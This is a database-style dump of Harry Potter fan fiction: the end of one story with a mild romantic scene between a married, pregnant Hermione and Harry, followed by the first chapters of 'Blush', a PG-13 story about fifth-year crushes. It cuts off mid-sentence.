\n<br><br>\n&quot;Not the green one,&quot; Harry grinned back, removing the green robe from the pile. With a wave of his wand, the robe re-hung itself in the closet as Hermione disappeared into the bathroom with the others. \n<br><br>\n&quot;You can change out here, y\'know... <i>Mrs.</i> Potter,&quot; Harry called. \n<br><br>\n&quot;Hush, I\'ll be right out.&quot; \n<br><br>\nHarry settled himself on the edge of their large four-poster bed. In a few moments Hermione emerged from the bathroom and edged shyly into the room. Her hair was pulled back on either side of her face, still twining itself into place as she entered, spilling down her back in long brown waves. Hermione had invented many do-it-yourself hair-wrangling charms over the years, and this was one of Harry\'s particular favorites. Her cheeks were rosy, and she had the simple diamond drops in her ears that Harry had given her for their first anniversary. She was wearing a set of dress robes in deep scarlet satin; swirls of the rich fabric cascading from her shoulders were swept back to reveal a long, fitted satin sheath with a low scooped neck. It was clear that the dress was not cut to contain Hermione\'s newly curved figure, however, as the fabric was stretched tightly across her chest and across her gently rounded belly. \n<br><br>\nHarry\'s sweater suddenly felt a tad too warm. \n<br><br>\n&quot;Wow,&quot; he said simply. \n<br><br>\nHermione began to fret. &quot;I told you. It\'s hopeless, look, I look awful, I can\'t even get it zipped -- &quot; \n<br><br>\n&quot;No!&quot; Harry interrupted her. &quot;Hermione. Listen to me.&quot; \n<br><br>\nHermione fell silent as Harry stood to look at her once more. He walked slowly around her, then stopped and ran a hand through his untidy hair. \n<br><br>\n&quot;Never in my life,&quot; he said slowly, &quot;have I seen anyone look so beautiful.&quot; \n<br><br>\nHermione blinked. &quot;What?&quot; \n<br><br>\n&quot;You\'re gorgeous.&quot; Harry grinned. &quot;Drop-dead sexy. I\'m not going to be able to keep my hands off you all night.&quot; \n<br><br>\nHermione was blushing furiously. &quot;You\'re just saying that!&quot; \n<br><br>\n&quot;I\'m not.&quot; Harry took her hand and placed it over his chest. &quot;Feel how fast my heart\'s beating. I\'m sweating. Look.&quot; \n<br><br>\nHermione ran her hand over his chest. &quot;Really?&quot; \n<br><br>\n&quot;And best of all,&quot; Harry whispered, grasping her hands again, drawing them to her belly, his hands covering hers, &quot;this is our baby, Hermione.&quot; \n<br><br>\nHermione\'s eyes filled with tears. She reached up and pulled Harry into a kiss that took his breath away so sharply he thought he might pass out on the spot. \n<br><br>\nAfter what seemed like hours, they drew apart, Harry feeling as though he might explode with desire. He reached up to straighten his glasses, which were now wildly askew. Hermione looked up at him and patted her stomach. \n<br><br>\n&quot;Well,&quot; she sighed matter-of-factly, &quot;technically, the baby is only about four inches long right now, so this is about two weeks\' worth of treacle tart and our baby, but still.&quot; \n<br><br>\nHarry let out a long breath and chuckled. &quot;You\'re too hard on yourself, Dr.Granger.&quot; \n<br><br>\nHermione smiled innocently. &quot;Mrs.Potter, you mean.&quot; \n<br><br>\nHarry\'s eyes glinted. &quot;Now,&quot; he said, tracing one hand along Hermione\'s waist, &quot;do we have to get you into this dress? Because I\'d rather take you out of it first.&quot; \n<br><br>\nHermione\'s brow crinkled with worry. &quot;Harry, what if it takes ages to make it fit... &quot; \n<br><br>\n&quot;Hmm.&quot; Harry\'s voice came from her shoulder, where he had begun planting kisses on her neck. &quot;Have an idea.&quot; \n<br><br>\nHe stood back and slipped a hand in his pocket, one arm still around Hermione, and pulled out his wand, which he touched to the fabric of her robes. &quot;Dispando,&quot; he muttered. \n<br><br>\n&quot;Did you make that up? I don\'t think that did anything -- &quot; \n<br><br>\n&quot;Shh, let me see.&quot; Harry slid his hands over the back of the dress, which was still open. Hermione let out a shuddering breath as Harry\'s hands met her bare skin. &quot;Harry -- &quot; \n<br><br>\n&quot;Look.&quot; He pulled gently at the dress robe, and the fabric stretched easily in his fingers. Wiith a smooth motion, he zipped it closed; the front of the dress, no longer straining at the seams, fit easily once more. Hermione gaped. \n<br><br>\n&quot;Standard book of spells -- &quot; Harry grinned. \n<br><br>\n&quot;Chaper Eighteen,&quot; Hermione finished, smacking herself on the forehead as Harry laughed. &quot;The Stretching Charm. Oh Harry, I\'m such an idiot!&quot; \n<br><br>\n&quot;You\'re not. You\'re just a bit pregnant is all.&quot; \n<br><br>\n&quot;I\'m so sorry.&quot; Hermione bit her lip. &quot;I was too busy freaking out to think about anything else.&quot; \n<br><br>\n&quot;I know, love. That\'s what I\'m here for.&quot; Harry smiled and kissed her forehead. \n<br><br>\n&quot;You knew how to fix it all along?&quot; Hermione arched an eyebrow suspiciously. \n<br><br>\n&quot;Oh no,&quot; Harry amended, blushing. He put one hand on Hermione\'s back again. &quot;I just had to think fast so that we could, um...&quot; \n<br><br>\nHermione was faintly pink. She began tugging gently at Harry\'s shirt to untuck it from his jeans. \n<br><br>\n&quot;I see,&quot; she murmured. &quot;You must have been the smartest wizard in your year.&quot; \n<br><br>\n&quot;Not really. I\'ve just been hanging around with her too much. Tends to rub off.&quot; \n<br><br>\nHermione didn\'t protest as her dress robes were returned to the floor once more.\n<br><br>\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\n\n\n\n'),
	(71, 1, '\n\n\nTitle: Blush<br>Author: Granger<br>Author Email: ali_granger@yahoo.com<br>Category: \nRomance, Humour<br>Keywords: Harry, Hermione, Ron, Quidditch, Fifth \nYear<br>Spoilers: All four books<br>Rating: PG-13<br>Summary: Harry returns from \na summer at Quidditch Camp to find his best friends... transfigured. Love, lust, \nmagic, music, and ale abound. And we always knew Draco was a rock \nstar.<br>Pairings: H/H, Ron/Other, maybe more...<br>Author\'s note: All music \nquoted in this story is highly recommended for listening while \nreading.<br><br>Disclaimer: This story is based on characters and \nsituations created and owned by JK Rowling, various publishers including but not \nlimited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner \nBros., Inc. No money is being made and no copyright or trademark infringement is \nintended. <br><br>* * * * * <br><br><i>Just want to spend \neternity<br>Right where I am, on the sunny side of the street<br><br></i>-- \n&quot;Sunny Side of the Street,&quot; The Pogues <br><br><br><br><b>Blush : Chapter \nOne</b> <br><br>The summer was winding its way into the last days of August, but \nfor the first time in his life Harry Potter didn\'t want it to end. <br><br>It \nwas the first summer Harry had ever really enjoyed. His days at Privet Drive had \nbeen blissfully short; Dudley had been away at a summer camp for &quot;healthy \neaters,&quot; as his Aunt Petunia had put it so tactfully, for most of the holiday. \nThough, Harry thought, Aunt Petunia must have certainly hindered Dudley\'s \nprogress with all of the care packages she had been sending to camp, packed full \nof her Diddums\' favorite treats. Without Dudley in the house to whine about \nHarry\'s every move, Uncle Vernon and Aunt Petunia were more than happy to \ncompletely ignore Harry, and he had been able to spend the days reading \n&quot;Quidditch Through the Ages&quot; and sending owls to Ron, Hermione, Hagrid, and \nSirius. <br><br>But Harry barely remembered the beginning of the summer, because \nevery fiber of his being had been focused on one thing: Quidditch Camp. Harry \nhad received a letter last spring informing him that he was eligible for a month \nat Ludo Bagman\'s training camp for talented young Quidditch players, and once \nSirius had deemed it a safe enough activity, he had been overjoyed to accept. An \nentire month spent playing Quidditch, during a normally Quidditch-free summer, \nwas a blessing Harry had never dreamed possible. He was to spend July in the \ncompany of some of the best Quidditch players in the country, rooming in an old \nestate somewhere in Yorkshire. Harry wasn\'t sure exactly where the estate had \nbeen; the Knight Bus had picked up all the campers and whisked them off to camp \nat two in the morning. This had provided Uncle Vernon with ample opportunity to \nharp on the wizard community -- &quot;Blasted lunatics, waking up the whole \nneighborhood at all hours, can\'t they just use a bus like normal people?&quot; -- but \nhe had shut up quickly when Harry reminded him of some of the other methods \nwizards used for travel. Uncle Vernon had glanced nervously at his fireplace and \nturned a deep shade of scarlet. <br><br>Quidditch Camp had easily been one of \nthe best times of Harry\'s life. He had badly missed Ron and Hermione, but he \nbecame fast friends with some of the other boys in his residence hall, and \nOliver Wood, ex-captain of the Gryffindor team, had been their hall counselor. \nOliver was now playing professional Quidditch for the Puddlemere United Reserve \nTeam, and he told Harry fantastic stories about reaching the semifinals of last \nyear\'s regional championships. He also told Harry about some of the parties \nthey\'d had after the championships, and based on Oliver\'s stories Harry was now \ngunning to play professional Quidditch himself. Or at least, get his name on the \nguest list for the Puddlemere post-game parties. <br><br>Camp had also been \nexhausting. They rose every morning at six to start their training, which \nconsisted of running several miles around the estate before they even touched \ntheir broomsticks. Then they had morning drills, followed by a hearty breakfast, \nmore drills, lunch, an hour lecture on Quidditch Strategy from Bagman, an hour \nof training in the weight room, and an afternoon scrimmage match which often \nlasted until supper. After supper, there was more running, stretching exercises, \nand another lecture, often a guest speaker from a local team. <br><br>Harry was \noften amazed that he didn\'t pass out the moment his head hit the pillow at \nnight, but the late-night dormitory antics in his room were too fun to miss. \nThey often stayed up until the wee hours pulling pranks and playing &quot;Veritas \nPericulo,&quot; the Wizarding version of an old Muggle game Harry had known as &quot;Truth \nor Dare.&quot; In the Wizard version, however, the choice fell between submitting to \na very mild version of a Truth spell, or completing an often silly and risky \ntask. Harry, afraid of what dangerous secrets a truth spell might reveal if cast \nupon him, was usually quite happy to accept a dare in its place. \n<br><br>However, Veritas Periculo did reveal rather a lot about some of the \nother boys Harry was rooming with. Harry was a bit abashed to discover that, at \nfifteen -- he had celebrated his birthday with a rowdy dormitory party this year \n-- he was one of the only ones who had never kissed a girl. Many of his \nroommates had in fact done quite a bit more than kissing girls, and Harry drank \nin their stories of opposite-sex encounters with a mixture of rapt interest and \nanxiety. Of course, he had once duelled the Dark Lord, but that seemed rather \nfeeble in his mind when compared to Lucas Hamilton\'s tales of sneaking out to an \nempty Quidditch pitch with Sarah Grady. <br><br>Even Ron had managed to trump \nHarry in this regard. His letters this summer were full of news about a girl \nnamed Emma Bunting, a smart, funny Ravenclaw just one year below them at \nHogwarts. Ron had run into her by chance during the Weasley\'s holiday in \nMorocco, where Emma had also been travelling with her family, and from the sound \nof Ron\'s letters the two of them had hit it off rather quickly. Harry always \nlooked forward to hearing from Ron, but couldn\'t help feeling nasty pangs of \njealousy whenever Ron wrote with a particularly juicy story about roaming famous \nMoroccan wizard castles at night with Emma. <br><br>But Quidditch Camp was too \ntiring to keep Harry worrying about anything for any length of time. As camp \ndrew to a close, Harry marvelled that he could actually complete the morning run \nwithout feeling dizzy and breathless. He had even shown marked improvement in \nhis Quidditch skills, which Harry guessed was a result of feeling so much \nstronger and quicker than he had ever felt before. As Harry was preparing to \nleave Ludo\'s camp, Oliver had approached him and thumped him on the back, \nbeaming, declaring that this year Harry would certainly be the finest Seeker \nGryffindor house had ever seen. <br><br>Harry had been dreading the end of camp, \nand when Hedwig had delivered the letter from Hogwarts containing the list of \nhis fifth-year supplies, he felt a deep pit of fear lodge in his stomach. He was \nlooking forward to the Quidditch season this year, to be sure, but his letter \nreminded him that he also had to take a round of O.W.L.\'s at the end of this \nterm. Exams had never been his specialty. Harry was almost more comfortable \nconfronting large fire-breathing creatures in a dungeon than sitting in a \nclassroom with parchment and a quill. It just wasn\'t his true element. \n<br><br>It was more Hermione\'s cup of tea. The thought of seeing Hermione again \nwas one of the bright spots in Harry\'s anxious muddle of feelings about his \nfifth year at Hogwarts. They had sent each other plenty of owls during the \nsummer; Hermione had been attending a summer program at Buonmagio, an Italian \nwizarding academy, and had been thoroughly enraptured with her studies of \nadvanced forms of arithmancy and transfiguration. Harry somehow knew that once \nhe got to Hogwarts and was settled cozily in the library with Hermione by his \nside, he wouldn\'t feel so nervous about O.W.L.\'s, or anything else for that \nmatter. He\'d feel at home again. <br><br>As was now his tradition, Harry ended \nthe summer with a trip to the Burrow to visit the Weasleys, which raised his \nspirits considerably. There was a lot of exclaiming over Harry\'s apparent spurt \nin size over the summer, though Harry couldn\'t see what all the fuss was about \n-- he still saw the same thin frame and unkempt hair whenever he glanced in the \nmirror. Moreover, Harry didn\'t see how anyone could exclaim about his growth \nwhen Ron seemed to have rocketed nearly a foot upwards during the summer. He was \nnow easily a head taller than Harry, challenging his brother Bill\'s height and \ncoming up fast on Mr.Weasley. All of the Weasleys were brown and freckled from \ntheir stay in Morocco, though Ginny still turned a faint shade of pink whenever \nshe saw Harry. Harry couldn\'t help noticing that Ginny was much prettier than \nhe\'d remembered; her shiny red hair now hung most of the way down her back, and \nshe had a very winning smile. Ron shook his head as he described all the boys \nthat had followed Ginny around all summer. <br><br>&quot;Honestly, it was mad,&quot; he \ntold Harry with amazement. &quot;Five or six blokes a day approaching my sister like \n-- like she was some kind of girl, or something. Couldn\'t believe it.&quot; \n<br><br>&quot;Very odd,&quot; Harry mused, concealing a smile. <br><br>Mrs.Weasley took \nthem to Diagon Alley to pick up their supplies, and herded both of them into \nWimpole\'s Wizard Wear to buy new robes and a few other clothes as well. \n&quot;Honestly, you two,&quot; she chided. &quot;Did you really think you were going to go off \nto school with your pant legs six inches too short? Oblivious, that\'s what you \nare. And Ronald Weasley, I can\'t keep you in robes if you keep sprouting up like \nthis. We\'ll have to buy you new ones.&quot; At this Harry and Ron grinned at each \nother while Mrs.Weasley busied herself hunting through a stack of navy blue \nshirts. Ron had never been very fond of his shabby hand-me-downs, and many of \nthem had been repurposed as covers for Pigwidgeon\'s cage without Mrs.Weasley\'s \nknowledge. <br><br>Harry\'s last days at the Burrow whizzed by like a Seeker on \nthe trail of a Snitch. Before he knew it he was wheeling his trunk and Hedwig\'s \ncage back to Platform Nine and Three-Quarters at King\'s Cross Station once more; \nhis fifth year was upon him, O.W.L.\'s and all. He had just finished loading his \ntrunk onto the Hogwarts Express when he heard a voice behind him. \n<br><br>&quot;Harry?&quot; <br><br>It was Hermione. Harry turned, expecting to see the \nfamiliar face of his old friend. But the sight of the girl before him broadsided \nhim with the force of a Ford Anglia hitting a Whomping Willow. \n<br><br>Hermione\'s skin was tanned from her summer in Italy, and her usually \nmouse-brown hair was streaked with gold and not at all the bushy mass that Harry \nknew so well. It was somehow tamed, and in long, wavy curls that swirled down \nher back. Her face looked older somehow, less rounded, more refined; her large \nbrown eyes, framed by a heavy fringe of lashes, drew Harry\'s attention in a way \nhe\'d never remembered. Hermione was a bit taller as well, and wearing a tank top \nand a pair of jeans that revealed a delicate, softly curved figure, which also \ndid not escape his attention in the least. <br><br>Harry blinked. He felt as \nthough he had just eaten an entire box of Fizzing Whizbees. This was Hermione, \nfor Merlin\'s sake. Was he looking at his best friend in -- <i>that</i> way? He \nhad to get a grip on himself. It had been all that talk of girls at Quidditch \nCamp; that had surely done it. He suddenly realized he\'d been forgetting to \nbreathe. He flushed a deep red and felt his brain slip out of one ear and twirl \nup into the clouds of steam puffing out of the Hogwarts Express. \n<br><br>&gt;From the look on Hermione\'s face, she was startled as well. She was \nlooking him up and down, and then blushed when their eyes finally met and she \nsaw that Harry was blushing too. <br><br>&quot;Hermione!&quot; <br><br>Harry, still \nreeling, managed to remember where he was; he gasped out the only word he could \nthink to say at the moment, then stepped forward and hugged Hermione. This \nseemed to restore some feeling of normalcy, and Hermione squeezed him back and \nwas smiling when they stepped apart again. <br><br>&quot;I wasn\'t sure it was you, \nfrom the back,&quot; Hermione said excitedly, her brown eyes sparkling. &quot;You\'re so \ntall! And you look -- different! I saw your hair, though, and then I knew.&quot; \n<br><br>It was getting easier to speak now. Harry ran a hand through his tousled \nhair and grinned. <br><br>&quot;Yeah. Dead giveaway, this. But you -- what happened \nto your hair, Hermione? Is this more of that hair potion or something?&quot; \n<br><br>&quot;Oh! Sleekeasy\'s? No, I found something else in Italy! A friend of mine \nmixed it up for me in Advanced Conjuration. You just drink it once a month, and \nit tames all sorts of hair tangles. De-Frizzing Frappe, it\'s called. Ooh, they \nknow all sorts of things like that at Buonmagio.&quot; <br><br>Harry couldn\'t help \nstaring at Hermione again while she was talking. He was barely paying attention \nto the list of ingredients she had started to rattle off, when a yell snapped \nhim swiftly out of his daze. <br><br>&quot;Oi! Harry! Over here!&quot; <br><br>Ron was \nhanging out of a window near the rear of the Hogwarts Express, beckoning him \nover. A blonde head popped out of the window next to Ron\'s, and this figure \nwaved too. Must be Emma, thought Harry. <br><br>&quot;It\'s Ron!&quot; Hermione exclaimed \nhappily, and Harry followed as she dashed through an open door on the train and \nmade her way towards the compartment where Ron had been waving. <br><br>Ron was \nsitting in an empty compartment with a pretty blonde girl at his side, who \nbeamed at them unreservedly when Harry and Hermione reached the doorway. She had \nthick, straight yellow-gold hair which was cut in a bob, and freckles just like \nRon\'s all over her face. She had very blue eyes and rosy cheeks, and Harry \nnoticed that she was wearing Ron\'s favorite Chudley Cannons t-shirt with her \njeans and sandals. <br><br>&quot;Hi Harry! Hi Hermione,&quot; she said, as Ron jumped up \nand gave Hermione a quick hug in greeting. <br><br>Ron looked back at Emma and \nsmiled, flushing faintly. &quot;You both know Emma, right?&quot; he said, a bit abashed. \n&quot;She\'s in Ravenclaw, fifth year?&quot; <br><br>&quot;Oh yes,&quot; said Hermione. &quot;I think I\'ve \nseen you in Arithmancy?&quot; <br><br>Emma nodded. &quot;Yes, I take that instead of \nHerbology.&quot; <br><br>&quot;Hullo Emma,&quot; Harry said, sitting down across from Ron. He \nnoticed Emma\'s eyes stray up to the scar on his forehead as he sat down. She \nlooked away shyly when she saw him looking back. This was decidedly weird. Ron, \nwith a <i>girlfriend</i>? <br><br>It was not at all <i>bad</i> weird, Harry \ndecided, as the train chugged swiftly on towards Hogwarts while the sun dipped \nlower in the sky. True, it was very strange to have another person sitting in on \nwhat had been his tight trio of friends, but Emma was trying her best not to \nappear nervous and Harry felt a pang of sympathy for her. He imagined it must \nfeel very awkward to be the new person stuck together with three old friends. \nHarry certainly knew what it was like to feel out of place somewhere, so he \nincluded Emma whenever he could in the conversation, asking her questions about \nher family and her friends in Ravenclaw. Emma looked grateful and even worked up \nthe courage to ask Harry about his battle with the Hungarian Horntail during the \nTri-Wizard Tournament, which Harry, Ron and Hermione recounted with great \nenthusiasm. When the lunch trolley arrived and Emma surprised Ron with a \nsix-pack of chocolate frogs, it was sealed. Harry definitely liked Emma, and he \ncould tell Hermione approved as well. <br><br>&quot;Hallo, you lot!&quot; A round-faced \nboy slid open their compartment door soon after lunch and beamed at them. It was \nNeville Longbottom. He took a few seconds to notice the other person sitting in \nthe compartment with them, but apparently he recognized Emma, because he blinked \nand stuttered, &quot;Oh, hi -- Emma, right?&quot; while Ron again looked slightly \nflustered. <br><br>&quot;Hi, Neville. How\'s your grandmother?&quot; said Harry. \n<br><br>&quot;Oh, she\'s fine, thanks,&quot; said Neville quickly, apparently in a great \nrush to tell them something. He flopped onto the seat next to Hermione and \nleaned forward. &quot;Have any of you seen Malfoy yet?&quot; <br><br>&quot;No, we haven\'t,&quot; \nsaid Harry. <br><br>&quot;Well wait until you do,&quot; grinned Neville. &quot;He\'s hit a new \nlow. Thinks he\'s some kind of rock star, but he looks a right mess. He\'s buzzed \nhis hair and bleached it! And he\'s pierced one eyebrow and gotten a TATTOO.&quot; \n<br><br>&quot;A tattoo?&quot; sputtered Ron. <br><br>&quot;Yeah,&quot; said Neville. &quot;Only -- it\'s \nnot finished! He tried to get an -- an imitation of the Dark Mark, but they \nwouldn\'t finish it when they realized what his design was s\'posed to be.&quot; \n<br><br>&quot;So what does it look like?&quot; Harry interrupted. <br><br>&quot;It\'s -- half a \nsnake!&quot; crowed Neville. &quot;The TAIL end!&quot; <br><br>The compartment roared with \nlaughter. &quot;Draco doesn\'t know that I saw,&quot; Neville broke in. &quot;I spotted him \nshowing it off to Pansy Parkinson. It\'s on his left arm. She thought it was all \nright, but it sure looks like a flobberworm to me!&quot; <br><br>Just then the \ncompartment door slid open and a cool, drawling voice interrupted their \nlaughter. <br><br>&quot;What\'s that you were saying, Longbottom?&quot; <br><br>It was \nMalfoy, flanked as usual by Crabbe and Goyle, who seemed to have gotten even \nmore enormous over the summer. True to Neville\'s word, Draco\'s hair was cropped \nclose to his head and bleached even whiter than his usual blonde. He raised one \neyebrow as if to call attention to the small hoop now threaded through it. He \nwas wearing a black t-shirt with one sleeve pushed up rather deliberately. Harry \nbit his lip to keep from laughing harder. The tattoo on Draco\'s arm, still \nslightly red around the edges, did bear a striking resemblance to a flobberworm. \n<br><br>Neville looked up. His round face turned red, but he was still smiling. \n&quot;Shove off, Malfoy,&quot; said Ron cordially. <br><br>&quot;Seen my tattoo then?&quot; Malfoy \ndrawled. &quot;You\'re just jealous, Longbottom. It\'s not like you pansies would ever \nhave the nerve to get one of these. Teaches you the real meaning of pain.&quot; He \ndrew out the last word with a thin-lipped smile. <br><br>&quot;Oh really?&quot; said Emma. \nRon suddenly grinned. The rest of them looked around, surprised; she\'d been \nquiet so far, and Draco hadn\'t even noticed her. She stood up and turned around, \nlifting Ron\'s t-shirt to reveal the stunning outline of a raven, wings spread, \netched with artful detail on the small of her back. <br><br>&quot;No nerve then?&quot; she \nsaid, turning around, eyes flashing. &quot;Why don\'t you tell us the real reason that \none\'s not finished? Couldn\'t handle the needle and made them stop?&quot; <br><br>Ron \nlooked as if he was about to burst with joy. Harry glanced at Hermione and \nNeville; the two of them were gaping at Emma, dumbfounded and impressed. \n<br><br>&quot;Right then, Malfoy,&quot; said Ron, with barely suppressed glee. &quot;Why don\'t \nyou crawl back to the rest of the flobberworms. I mean -- Slytherins.&quot; \n<br><br>Malfoy closed his mouth. He had also been gaping at Emma. Sneering at \nall of them with a look of pure bile, he stepped back into the hall and slammed \nthe compartment door. <br><br>Neville got up, still laughing. &quot;I\'ll be seeing \nyou all later then,&quot; he said triumphantly. &quot;Got more, er, folks to greet around \nhere.&quot; He slid the door open again and practically bounced into the hallway. \n<br><br>Ron slid an arm around Emma and gave her a squeeze. She blinked at him \ninnocently. &quot;Well really,&quot; she said. &quot;Malfoy is SO obnoxious!&quot; <br><br>&quot;Knew \nthere was a reason I liked you,&quot; Ron said. He pulled her closer and kissed her \nquickly on the forehead. <br><br>Harry was instantly aware of the sensation that \nhe and Hermione were looking at Ron and Emma through an invisible wall. Ron and \nEmma seemed no longer aware that there were two other people sitting across from \nthem in the compartment. And was this Ron Weasley? The same Ron Weasley who \nusually turned seven shades of purple and started stuttering when Fleur Delacour \nwalked down the hall? Ron had seemed just like his old self at the Burrow. \nHarry\'s head was turning cartwheels. He glanced sideways at Hermione, who was \nclearly thinking along the same lines. She looked back at him with a smile on \nher face that was vaguely amused and embarrassed at the same time. \n<br><br>Hermione\'s smile was fairly spectacular now that her teeth were fixed, \nthought Harry. And her hair -- her eyes -- how had he never noticed -- \n<br><br>Harry blinked and flushed red again. He averted his gaze to the window \nand watched the countryside slip swiftly past. The way this year is shaping up, \nhe thought, I may as well paint my face scarlet and be done with it. \n<br><br><br><br>* * * * * <br><br>= the chapter has now ended = \n'),
	(71, 2, '\n\n\nTitle: Blush<br>Author: Granger<br>Author Email: ali_granger@yahoo.com<br>Category: \nRomance, Humour<br>Keywords: Harry, Hermione, Ron, Quidditch, Fifth \nYear<br>Spoilers: All four books<br>Rating: PG-13<br>Summary: Harry returns from \na summer at Quidditch Camp to find his best friends... transfigured. Love, lust, \nmagic, music, and ale abound. And we always knew Draco was a rock \nstar.<br>Pairings: H/H, Ron/Other, maybe more...<br>Author\'s note: All music \nquoted in this story is highly recommended for listening while \nreading.<br><br>Disclaimer: This story is based on characters and \nsituations created and owned by JK Rowling, various publishers including but not \nlimited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner \nBros., Inc. No money is being made and no copyright or trademark infringement is \nintended. <br><br>* * * * * <br><br><i>What are you running \nfrom<br>Something you don\'t understand<br>Something you cannot command<br>That\'s \nhow I know<br>She\'s got a new spell<br>Yeah, that\'s how I know<br>She\'s got a \nnew spell<br><br>What\'s going down<br>Who\'s moved this room from round \nme<br>Where has it gone<br>I fear this night will drown me<br>So I lie awake all \nnight<br>\'Cos I can\'t sleep with something I can\'t fight <br><br>She\'s got a new \nspell<br>Yeah, that\'s how I know<br><br></i>-- &quot;She\'s Got A New Spell,&quot; Billy \nBragg <br><br><br><br><b>Blush : Chapter Two</b> <br><br>The school year at \nHogwarts whirled into action with reassuring familiarity. Once again, rows of \ntiny frightened first-years dissappeared under the Sorting Hat and emerged, \nrelieved, to scuttle off to their house tables. Harry was feeling quite his \nusual self again after a delicious meal in the Great Hall surrounded by the rest \nof the Gryffindors, most of whom had thankfully not undergone startling changes \nin their appearance or love lives. By the end of supper he had even managed to \ncurb his tendency to blush whenever Hermione spoke to him; she was sounding \nexactly like regular old Hermione at the beginning of any new term. <br><br>&quot;I \ncan\'t <i>wait</i> to see my new schedule,&quot; she was saying as the Gryffindors \nmade their way back to their house common room after the feast. &quot;I\'ve tested \ninto Advanced Transfiguration again, and Professor McGonagall has given me \ncredit for some of my Bounmagio classes, so I have one free slot to take Muggle \nStudies again.&quot; <br><br>&quot;How about using that one free slot to do my Potions \nhomework for me?&quot; said Ron with a wicked grin. &quot;Haberdashery!&quot; <br><br>&quot;Hullo, \ndears! Welcome back!&quot; <br><br>They had reached the portrait of the Fat Lady, who \nwinked at them and swung open at the sound of Ron uttering the new password. \n&quot;Thanks!&quot; said Harry over his shoulder as they climbed through the portrait \nhole. <br><br>The common room was almost full, the returning Gryffindor students \nchattering excitedly, the first years staring around in awe at the enormous \nfireplace and wonderful squishy chairs. Harry noticed with something of a start \nthat Ron was probably the tallest person in the room at the moment; in fact, the \nrest of the boys in their year were head and shoulders above many of the younger \nGryffindors. The glassy-eyed first years looked as if they\'d be more at home in \na playground singing &quot;Ring Around the Rosy.&quot; Though it seemed to Harry that just \nyesterday he\'d been staring at this room for the first time. <br><br>It was \nquickly apparent, however, that this was not the case. As Harry made his way \ninto the common room, faces turned in his direction, arms clapped him on the \nback. &quot;Hallo, Harry!&quot; &quot;Alright, Harry?&quot; &quot;Hey Harry! How was your summer?&quot; \n<br><br>Dennis Creevey had fought his way through the throng of eager \nwell-wishers and attatched himself to a corner of Harry\'s robes before Harry \ncould stop him. <br><br>&quot;Harry! Did you hear? Katie Bell\'s resigned as Quidditch \nCaptain! Got too much work this year, some special project in Norway, she\'s got \nto miss three games. I bet <i>you\'ll</i> be captain! You think they\'ll pick you, \nHarry? I\'m sure -- &quot; <br><br>&quot;Katie\'s not Captain?&quot; Harry blinked down at \nDennis\' eager face. If anything, Dennis seemed even smaller than he had before, \nhis rosy face aglow with total admiration. <br><br>&quot;Spilled the beans, did you, \nDennis?&quot; Katie Bell, a tall, pretty seventh-year with long sandy hair, had found \nHarry in the crowd. She put a comradely arm around Harry\'s shoulder and nudged \nhim towards one corner of the common room. &quot;Sorry, Harry, I was just planning on \ntelling you the news. Can I have a word with you for a minute?&quot; <br><br>Harry \ndetatched his robes from Dennis Creevey\'s adoring grasp and followed Katie \ntowards a cluster of chairs away from the crowd. <br><br>&quot;Good summer, then?&quot; \nsaid Katie as they both settled into armchairs. &quot;Quidditch camp treat you well?&quot; \nHarry nodded. <br><br>Katie smiled. &quot;Looks that way. You\'re not nearly the tiny \nthing you were first year. I was always terrified the other Seeker would knock \nyou six ways to Australia.&quot; <br><br>Harry blushed. The way everyone was talking \nthese days, he was starting to believe he\'d been roughly the size of a house elf \nwhen he started at Hogwarts. He didn\'t know what they were going on about. Last \nhe checked, he was still the same old Harry. <br><br>&quot;Dunno, I was the smallest \nSeeker at camp,&quot; Harry shrugged. &quot;Some of the other players were huge blokes. \nNice enough guys, though.&quot; <br><br>Katie grinned impishly. &quot;Any nice girls?&quot; \n<br><br>At the mention of &quot;nice girls,&quot; Harry\'s eyes flicked across the room to \nHermione as if drawn there by a magnet. Hermione was sitting in a chair by the \nfire across from Ron, her nose buried in a large, musty-looking book. She had \njust glanced up at Ron and was regarding him skeptically, one eyebrow raised -- \na vintage Hermione look. Her long brown curls were glinting golden in the \nfirelight. <br><br>&quot;Ahh, I see,&quot; said Katie thoughtfully, startling Harry out of \nhis reverie. He blinked; Katie was regarding him with a knowing smile. \n<br><br>He was getting altogether too much practice at this blushing business. \n<br><br>&quot;Er -- &quot; Harry began to stammer. <br><br>&quot;Don\'t worry, Harry, I won\'t \nsay anything,&quot; said Katie, her eyes twinkling. She raised her voice slightly. &quot;I \nwon\'t tell a soul that you\'ve really got a thing for your best pal Herm -- &quot; \n<br><br>&quot;Shh!&quot; Harry hissed, sinking low in his chair. His ears were burning. \n<br><br>&quot;It\'s true then?&quot; Katie\'s eyes widened in surprise. Harry turned an even \nmore vivid shade of scarlet. He couldn\'t make his tongue work. The whole house \nwas going to know. Did he really have a &quot;thing&quot; for Hermione? Was it that \nobvious? <br><br>Katie\'s face softened with regret at Harry\'s terror-stricken \nlook. &quot;All right, all right, I\'m sorry Harry. I am. I won\'t tell a soul. It\'s \njust, you know -- Harry Potter, all grown up. You\'re like a -- little brother, \nor something.&quot; <br><br>Harry straightened up in his chair a bit and managed to \nfind his voice again. It looked as if he might be blessedly spared the torment \nof having all of Gryffindor think he was lusting after his best friend. Which he \nwas, he thought distractedly, but that was beside the point. He felt his stomach \nuntangle itself from six twisted knots. &quot;Um. Thanks.&quot; <br><br>Katie gave him an \nenormous sisterly smile. <br><br>Harry grinned rougishly back at her. &quot;Just \ndon\'t, you know, go around pinching my cheeks or anything.&quot; . <br><br>&quot;Wouldn\'t \ndream of it.&quot; Katie reached out and mussed Harry\'s rumpled hair. <br><br>&quot;Hey, \ngeroff!&quot; The two of them dissolved into laughter as Harry swatted Katie\'s arm \naway. <br><br>&quot;Now seriously.&quot; Katie regarded him gravely for a moment, then \ntook a deep breath. &quot;Harry, you know this is the last thing I\'d want to do, but \nI\'ve had to give up Quidditch this year.&quot; <br><br>&quot;But it\'s your last season!&quot; \n<br><br>&quot;I know, I know. And I wouldn\'t miss it for all the world, except -- \nwell, over the summer I was working on a Glacier Transformation project in \nNorway with Professor Flitwick. And Harry -- it was the most fun I\'ve ever had \ndoing something that was work.&quot; <br><br>Harry nodded. <br><br>&quot;The group of \nwizards in Norway that was working with us -- they want me back. They need me, \nHarry, and they want me to work with them after I finish at Hogwarts. Except I \nneed to be there for some of this term, or I\'ll fall behind. I\'ve arranged it so \nthat I can do some of my other coursework in Norway, and still graduate in June. \n<br><br>&quot;Harry, you\'re the best 